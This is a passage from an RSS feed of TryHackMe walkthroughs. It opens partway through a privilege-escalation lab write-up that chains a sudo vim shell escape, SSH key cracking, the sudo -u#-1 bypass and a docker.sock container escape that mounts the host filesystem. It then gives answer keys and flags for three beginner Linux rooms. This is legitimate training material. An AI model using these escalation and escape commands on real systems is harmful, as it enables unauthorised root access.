flag.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mVP3TLWzNlITSHb2.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*jGfxC08grPu59R6O.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*1Q0GlnGzHPSMeCxC.png" /></figure><p><strong>7) What is sean’s flag?</strong></p><p><em>sudo -l<br>sudo -u sean /usr/bin/vim -c ‘:!/bin/bash’groups</em></p><p><em>This shows that sean is part of adm group (admin) which means he can read logs in</em></p><p><em>/var/logs cd /var/log<br>cat syslog.bak | grep sean</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ubeXq_qBogy-qWKC.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*uyBjZOwGPP9b2k-n.png" /></figure><p><strong>8) What is penelope’s flag?</strong></p><p><em>When you find sean’s flag, there will be a base64 string right after it. Copy that, echo it and decode it using base64 with</em></p><p><em>-d option.echo ‘VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==’ | base64 -d<br>&lt;Copy the outputted password&gt;ssh penelope@&lt;Machine_IP&gt;<br>&lt;Paste penelope’s password&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Hyclh629juL58ytp.png" /></figure><p><em>If you read the /etc/ssh/sshd_config file, you will see that penelope and maya can use ssh to login so if you restart machine, you wont have to go through all the other users. It’s like a checkpoint and you can start from here if you want to stop and start later on.</em></p><p><strong>9) What is maya’s flag?</strong></p><p><em>ls -la<br>LFILE=/home/maya/flag.txt<br>./base64 “$LFILE” | base64 — decode</em></p><p><em>The flag is also maya’s password so use that to switch accounts</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*KK1Dd49oL6BuEuzv.png" /></figure><p><strong>10) What is robert’s Passphrase?</strong></p><p><em>scp maya@&lt;machineIP&gt;:~/old_robert_ssh/id_rsa ./<br>&lt;Enter maya’s flag/password&gt;<br>locate ssh2john.py<br>&lt;Copy the path, might have to download if it shows no path&gt;&lt;copy a ssh2john.py path from above command&gt; id_rsa &gt; id_hash.txtjohn — wordlist=./rockyou.txt id_hash.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*CTu4TGtiRNjB017U.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*jT9ZZ6gLBu3KLLE4.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*zioU_2MGfGtuwq-y.png" /></figure><p><strong>11) What is user.txt?</strong></p><p><em>cd ~/old_robert_ssh<br>ss -lnp | grep tcp | grep LISTEN</em></p><p><em>With the above command, we find that there is a tcp listening port on a few ports one of which is 2222 and that is used on localhost to connect to robert.ssh robert@localhost -p 2222 -i id_rsa</em></p><p><em>&lt;Enter robert’s password that we just cracked&gt;</em></p><p><em>We can access robert’s account with ssh on localhost at port 2222. When logged into robert’s account, do this:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8MYG8jSnlRtm_Eq2.png" /></figure><p><em>sudo -l<br>sudo — version<br>sudo -u#-1 /bin/bash# The sudo version of this is outdated which has a vulnerability that we can exploit</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_2zsCc5Rhf6wwMvh.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*UW7ZmEGGCsLWDHTL.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ufN8ajbfxmoHbXwQ.png" /></figure><p><em>It’s just a one line command you need to run</em></p><p><em>cd /root<br>cat flag.txt<br>cat success.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Oo4FCvdGCl5FTPCC.png" /></figure><p><strong>12) What is root.txt?</strong></p><p><em>I would like to thank apjone for helping me find the root flag.</em></p><p><em># Make sure you maintain the root privilege from the last task otherwise it will say docker permission denied later on. It’s just a one line command you need to run. If you don’t have the root privilege, then do (sudo -u#-1 /bin/bash)<br>cd /tmp./docker ps<br>./docker exec -it ec96850005d6 bash# The ec96850005d6 is the Container ID we need to go into</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*lyFHuf7pHv5CVRcg.png" /></figure><p><em>Underlined is the Container ID we need to go into</em></p><p><em>Download socat binary from here# On attacking machine(your machine), start a python server where you downloaded the socat binary on your computer so that you can wget it onto robert’s account# wget directly from github in robert’s account wasn’t working so that’s why I did this.<br>python -m SimpleHTTPServer# On robert’s computer<br>wget &lt;Your_THM_IP&gt;:8000/socat<br>chmod +x socat</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*2tvgezys4PQaa4IM.png" /></figure><p><em>Make sure to give socat the execute permission using chmod</em></p><p><em>We need to escape the docker by creating a container within the container that we are currently in and mounting the host system so that way we can access all the host files within the container. If the commands below do not work, go the link at the end and copy the commands directly from source. You might have to change them a bit to match mine eg: Make sure Source value in echo -e … command is set to /, not /etc/</em></p><p><em>curl -XGET — unix-socket /var/run/docker.sock http://localhost/containers/jsonecho -e ‘{“Image”:”mangoman”,”Cmd”:[“/bin/sh”],”DetachKeys”:”Ctrl-p,Ctrl-q”,”OpenStdin”:true,”Mounts”:[{“Type”:”bind”,”Source”:”/”,”Target”:”/host_etc”}]}’ &gt; container.jsoncurl -XPOST -H “Content-Type: application/json” — unix-socket /var/run/docker.sock -d “$(cat container.json)” http://localhost/containers/createcurl -XPOST — unix-socket /var/run/docker.sock http://localhost/containers/&lt;1st_4_chars_of_Id_value_from_output_of_above_command&gt;/start./socat — UNIX-CONNECT:/var/run/docker.sock# Copy the code below from POST till tcp and change what needs to be changed. Paste it in your terminal. See image below for reference.POST /containers/&lt;1st_4_chars_of_Id_value_from_before&gt;/attach?stream=1&amp;stdin=1&amp;stdout=1&amp;stderr=1 HTTP/1.1<br>Host:<br>Connection: Upgrade<br>Upgrade: tcp&lt;Press enter twice&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Bw3HyvUGYmH5fuO2.png" /></figure><p><em>Replace the &lt;1st 4 chars …&gt; with the 1st 4 characters of the Id values as underlined here. Press Enter twice once pasted and if successful, you’ll get the HTTP/1.1 101 UPGRADED part.</em></p><p><em>id<br>find / -name ‘root.txt’ 2&gt;/dev/null<br>cat /host_etc/root/root.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*BC499ZJ0WZPGOhNc.png" /></figure><p>Thank you for checking out my walkthrough/writeup of this room! Much love <strong>❤</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=295ff671ac1f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Fundamental Part 3 TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@h4ck3rAditya/linux-fundamental-part-3-tryhackme-walkthrough-e0a4d59f5ac1?source=rss-496b79a2f791------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0a4d59f5ac1</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Aditya Jain]]></dc:creator>
            <pubDate>Sun, 23 Oct 2022 05:15:34 GMT</pubDate>
            <atom:updated>2022-10-23T05:29:34.405Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is the 3rd room of the complete beginner series that familiarizes the basic Linux concepts, commands, and file operations</em></p><p><em>Room Link: </em><a href="https://tryhackme.com/room/linuxfundamentalspart1"><em>https://tryhackme.com/room/linuxfundamentalspart</em></a><em>3</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k4dMji3CXOmYvMKRzBaTyA.jpeg" /></figure><blockquote><strong>Task 1: Introduction</strong></blockquote><p><strong>a) Let’s proceed!</strong></p><p><strong>Answer: </strong>No answer needed</p><blockquote><strong>Task 2: Deploy Your Linux Machine</strong></blockquote><p><em>Deploy the AttackBox and login into the machine using “ssh tryhackme@machine_ip”, enter the password “tryhackme”.</em></p><p><strong>a) I’ve logged into the Linux Fundamentals Part 3 machine using SSH and have deployed the AttackBox successfully!</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote><strong>Task 3: Terminal Text Editors</strong></blockquote><p><strong>a) Create a file using Nano</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7eH9kpQ2JRtZBe5_pDJiYg.png" /></figure><p><strong>Answer:</strong> No answer needed</p><p><em>Create a file using Nano by using the command “nano myfile”.</em></p><p><strong>b) Edit “task3” located in “tryhackme”’s home directory using Nano. What is the flag?</strong></p><p><strong>Answer:</strong> THM{TEXT_EDITORS}</p><p><em>Use the command “nano task3” to open the file “task3” and see the flag.</em></p><blockquote><strong>Task 4: General/Useful Utilities</strong></blockquote><p><strong>a) Ensure you are connected to the deployed instance (10.10.122.29)</strong></p><p><strong>Answer:</strong> No answer needed</p><p><em>Now, use Python 3’s “HTTPServer” module to start a web server in the home directory of the “tryhackme” user on the deployed instance.</em></p><p><em>Use the command “python3 -m http.server” ti start the web server.</em></p><p><strong>Answer:</strong> No answer needed</p><p><em>Download the file http://10.10.122.29:8000/.flag.txt onto the TryHackMe AttackBox</em></p><p><strong>c) What are the contents?</strong></p><p><em>Use the command “wget machine_ip” to download the file and then “cat .flag.txt” to output the flag.</em></p><p><strong>Answer:</strong> THM{WGET_WEBSERVER}</p><p><em>Create and download files to further apply your learning — see how you can read the documentation on Python3’s “HTTPServer” module.</em></p><p><strong>d) Use Ctrl + C to stop the Python3 HTTPServer module once you are finished.</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote><strong>Task 5: Processes 101</strong></blockquote><p><strong>a) Read me!</strong></p><p><strong>Answer:</strong> No answer needed</p><p><strong>b) If we were to launch a process where the previous ID was “300”, what would the ID of this new process be?</strong></p><p><strong>Answer:</strong> 301</p><p><strong>c) If we wanted to cleanly kill a process, what signal would we send it?</strong></p><p><strong>Answer:</strong> SIGTERM</p><p><strong>d) Locate the process that is running on the deployed instance (MACHINE_IP). What flag is given?</strong></p><p><strong>Answer:</strong> THM{PROCESSES}</p><p><strong>e) What command would we use to stop the service “myservice”?</strong></p><p><strong>Answer:</strong> systemctl stop myservice</p><p><strong>f) What command would we use to start the same service on the boot-up of the system?</strong></p><p><strong>Answer:</strong> systemctl enable myservice</p><p><strong>g) What command would we use to bring a previously backgrounded process back to the foreground?</strong></p><p><strong>Answer:</strong> fg</p><blockquote><strong>Task 6: Maintaining Your System: Automation</strong></blockquote><p><strong>a) Ensure you are connected to the deployed instance and look at the running crontabs.</strong></p><p><strong>Answer:</strong> No answer needed</p><p><strong>b) When will the crontab on the deployed instance (MACHINE_IP) run?</strong></p><p><strong>Answer:</strong> @reboot</p><blockquote><strong>Task 7: Maintaining Your System: Package Management</strong></blockquote><p><strong>a) Since TryHackMe instances do not have an internet connection…this task only requires you to read through the material.</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote><strong>Task 8: Maintaining Your System: Logs</strong></blockquote><p><strong>a) Look for the apache2 logs on the deployable Linux machine</strong></p><p><strong>Answer:</strong> No answer needed</p><p><em>Use the command “cd /var/log/apache2” to navigate to the folder where apache2 logs are store.</em></p><p><strong>b) What is the IP address of the user who visited the site?</strong></p><p><strong>Answer:</strong> 10.9.232.111</p><p><em>Use the command “cat access.log.1” to output the logs and see the ip address of the user who visited the site.</em></p><p><strong>c) What file did they access?</strong></p><p><strong>Answer:</strong> /catsanddogs.jpg</p><blockquote><strong>Task 9: Conclusions &amp; Summaries</strong></blockquote><p><strong>a) Terminate the machine deployed in this room from task 2.</strong></p><p><strong>Answer:</strong> No answer needed</p><p><strong>b) Continue your learning in other Linux-dedicated rooms</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote>Click Here:<strong> </strong><a href="https://medium.com/@h4ck3rAditya/linux-fundamental-part-1-tryhackme-walkthrough-2cf05d28e987"><strong>Linux Fundamental Part 1 TryHackMe Walkthrough</strong></a></blockquote><blockquote>Click Here:<strong> </strong><a href="https://medium.com/@h4ck3rAditya/linux-fundamental-part-2-tryhackme-walkthrough-b4dff9cd4b30"><strong>Linux Fundamental Part 2 TryHackMe Walkthrough</strong></a></blockquote><p>Thank you for checking out my walkthrough/writeup of this room! Much love <strong>❤</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0a4d59f5ac1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Fundamental Part 2 TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@h4ck3rAditya/linux-fundamental-part-2-tryhackme-walkthrough-b4dff9cd4b30?source=rss-496b79a2f791------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4dff9cd4b30</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Aditya Jain]]></dc:creator>
            <pubDate>Sun, 23 Oct 2022 03:04:58 GMT</pubDate>
            <atom:updated>2022-10-23T05:18:16.575Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is the 2nd room of the complete beginner series that familiarizes the basic Linux concepts, commands, and file operations</em></p><p><em>Room Link:</em><a href="https://tryhackme.com/room/linuxfundamentalspart2"><em> https://tryhackme.com/room/linuxfundamentalspart2</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDlmWbMj-dAD1bwIoCCvaQ.jpeg" /></figure><blockquote><strong>Task 1 : Introduction</strong></blockquote><p><strong>a) Let’s proceed</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote><strong>Task 2: Accessing Your Linux Machine Using SSH (Deploy)</strong></blockquote><p><em>Deploy and log into the machine by using the command “ssh tryhackme@machines_ip” and enter the password “tryhackme”.</em></p><p><strong>a) I’ve logged into the Linux Fundamentals Part 2 machine using SSH!</strong></p><p><strong>Answer:</strong><em> </em>No answer needed</p><blockquote><strong>Task 3: Introduction to Flags and Switches</strong></blockquote><p><strong>a) Explore the manual page of the ls command</strong></p><p><strong>Answer:</strong> No answer needed</p><p><strong>b) What directional arrow key would we use to navigate down the manual page?</strong></p><p><strong>Answer:</strong> down</p><p><strong>c) What flag would we use to display the output in a “human-readable” way?</strong></p><p><strong>Answer:</strong> -h</p><blockquote><strong>Task 4: Filesystem Interaction Continued</strong></blockquote><p><strong>a) How would you create the file named “newnote”?</strong></p><p><strong>Answer:</strong> touch newnote</p><p><em>{touch command is used to create a file}</em></p><p><strong>b) On the deployable machine, what is the file type of “unknown1” in “tryhackme’s” home directory?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*M8o6HGUk9z0FzzEL85AS7g.png" /></figure><p><strong>Answer:</strong> ASCII text</p><p><strong>c) How would we move the file “myfile” to the directory “myfolder”</strong></p><p><strong>Answer:</strong> mv myfile myfolder</p><p><strong>d) What are the contents of this file?</strong></p><p><strong>Answer</strong>: THM{FILESYSTEM}</p><p><em>{use the cat command to see the content}</em></p><blockquote><strong>Task 5: Filesystem Interaction Continued</strong></blockquote><p><strong>a) On the deployable machine, who is the owner of “important”?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*sWRaEglCljeU2BJo9tfpSA.png" /></figure><p><strong>Answer:</strong> user2</p><p><strong>b) What would the command be to switch to the user “user2”?</strong></p><p><strong>Answer:</strong> su user2</p><p><strong>c) Now switch to this user “user2” using the password “user2”</strong></p><p><strong>Answer:</strong> No answer needed</p><p><strong>d) Output the contents of “important”, what is the flag?</strong></p><p><strong>Answer:</strong> THM{SU_USER2}</p><blockquote><strong>Task 6: Common Directories</strong></blockquote><p><strong>a) Read me!</strong></p><p><strong>Answer:</strong> No answer needed</p><p><strong>b) What is the directory path that would we expect logs to be stored in?</strong></p><p><strong>Answer:</strong> /var/log</p><p><strong>c) What root directory is similar to how RAM on a computer works?</strong></p><p><strong>Answer:</strong> /tmp</p><p><strong>d) Name the home directory of the root user</strong></p><p><strong>Answer:</strong> /root</p><p><strong>e) Now apply your learning and navigate through these directories on the deployed Linux machine.</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote><strong>Task 7: Conclusions and Summaries</strong></blockquote><p><strong>a) Proceed to the next task to continue your learning</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote><strong>Task 8: Linux Fundamentals Part 3</strong></blockquote><p><strong>a) Terminate the machine from task 2!</strong></p><p><strong>Answer:</strong> No answer needed</p><p><strong>b) Join </strong><a href="https://tryhackme.com/jr/linuxfundamentalspart3"><strong>Linux Fundamentals Part 3</strong></a><strong>!</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote>Click Here: <a href="https://medium.com/@h4ck3rAditya/linux-fundamental-part-1-tryhackme-walkthrough-2cf05d28e987"><strong>Linux Fundamental Part 1 TryHackMe Walkthrough</strong></a></blockquote><blockquote>Click Here: <a href="https://medium.com/@h4ck3rAditya/linux-fundamental-part-3-tryhackme-walkthrough-e0a4d59f5ac1"><strong>Linux Fundamental Part 3TryHackMe Walkthrough</strong></a></blockquote><p>Thank you for checking out my walkthrough/writeup of this room! Much love <strong>❤</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4dff9cd4b30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Fundamental Part 1 TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@h4ck3rAditya/linux-fundamental-part-1-tryhackme-walkthrough-2cf05d28e987?source=rss-496b79a2f791------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cf05d28e987</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Aditya Jain]]></dc:creator>
            <pubDate>Fri, 21 Oct 2022 16:31:57 GMT</pubDate>
            <atom:updated>2022-10-23T05:32:02.893Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is the 1st room of the complete beginner series that familiarizes the basic Linux concepts, commands, and file operations</em></p><p><em>Room Link: </em><a href="https://tryhackme.com/room/linuxfundamentalspart1"><em>https://tryhackme.com/room/linuxfundamentalspart1</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uknp5sj03HdFT0Ao4sfRTg.jpeg" /></figure><blockquote><strong>Task 1: Introduction</strong></blockquote><p><strong><em>Answer:</em></strong><em> No answer needed</em></p><blockquote><strong>Task 2: A Bit of Background on Linux</strong></blockquote><p><em>Research: What year was the first release of a Linux operating system?</em></p><p><em>{Simply search on google}</em></p><p><strong><em>Answer: </em></strong><em>1991</em></p><blockquote><strong>Task 3: Interacting With Your First Linux Machine (In-Browser)</strong></blockquote><p><strong>Answer: </strong>no answer needed</p><blockquote><strong>Task 4: Running Your First Few Commands</strong></blockquote><p><strong>a) If we wanted to output the text “TryHackMe”, what would our command be?</strong></p><p><strong>Answer:</strong> echo TryHackMe</p><p><em>{using the echo command to output the text on the terminal}</em></p><p><strong>b) What is the username of who you’re logged in as on your deployed Linux machine?</strong></p><p><strong>Answer:</strong> tryhackme</p><p><em>{Use the whoami command}</em></p><blockquote><strong>Task 5: Interacting With the Filesystem!</strong></blockquote><p><strong>a) On the Linux machine that you deploy, how many folders are there?</strong></p><p><strong>Answer:</strong> 4</p><p><em>{use the ls command to see the folders}</em></p><p><strong>b) Which directory contains a file?</strong></p><p><strong>Answer:</strong> folder4</p><p><strong>c) What is the contents of this file?</strong></p><p><strong>Answer:</strong> Hello World</p><p><em>{use the cat command to view the content}</em></p><p><strong>d) Use the cd command to navigate to this file and find out the new current working directory. What is the path?</strong></p><p><strong>Answer:</strong> /home/tryhackme/folder4</p><p><em>{to see the path, use pwd command to print the current working directory}</em></p><blockquote><strong>Task 6: Searching for files</strong></blockquote><p><strong>a) Use grep on “access.log” to find the flag that has a prefix of “THM”. What is the flag?</strong></p><p><strong>Answer:</strong> THM{ACCESS}</p><p><strong>b) And I still haven’t found what I’m looking for!</strong></p><p><strong>Answer:</strong> no answer needed</p><blockquote><strong>Task 7: An Introduction to Shell Operator</strong></blockquote><p><strong>a) If we wanted to run a command in the background, what operator would we want to use?</strong></p><p><strong>Answer:</strong> &amp;</p><p><strong>b) If I wanted to replace the contents of a file named “passwords” with the word “password123”, what would my command be?</strong></p><p><strong>Answer:</strong> echo password 123 &gt; passwords</p><p><strong>c) Now if I wanted to add “tryhackme” to this file named “passwords” but also keep “passwords123”, what would my command be</strong></p><p><strong>Answer:</strong> echo tryhackme &gt;&gt; passwords</p><p><strong>c) Now use the deployed Linux machine to put these into practice</strong></p><p><strong>Answer:</strong> no answer needed</p><blockquote><strong>Task 8: Conclusions &amp; Summaries</strong></blockquote><p><strong>a) I’ll have a play around!</strong></p><p><strong>Answer:</strong> No answer needed</p><blockquote><strong>Task 9: Linux Fundamentals Part 2</strong></blockquote><p><strong>a) Terminate the machine deployed in this room from task 3.</strong></p><p><strong>Answer:</strong> No answer needed</p><p><strong>b) Join </strong><a href="https://tryhackme.com/jr/linuxfundamentalspart2"><strong>Linux Fundamentals Part 2!</strong></a></p><p><strong>Answer:</strong> No answer needed</p><blockquote><em>Click Here:</em><strong><em> </em></strong><a href="https://medium.com/@h4ck3rAditya/linux-fundamental-part-2-tryhackme-walkthrough-b4dff9cd4b30"><strong>Linux Fundamental Part 2 TryHackMe Walkthrough</strong></a></blockquote><blockquote><em>Click Here: </em><a href="https://medium.com/@h4ck3rAditya/linux-fundamental-part-3-tryhackme-walkthrough-e0a4d59f5ac1"><strong>Linux Fundamental Part 3 TryHackMe Walkthrough</strong></a></blockquote><p>Thank you for checking out my walkthrough/writeup of this room! Much love <strong>❤</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cf05d28e987" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>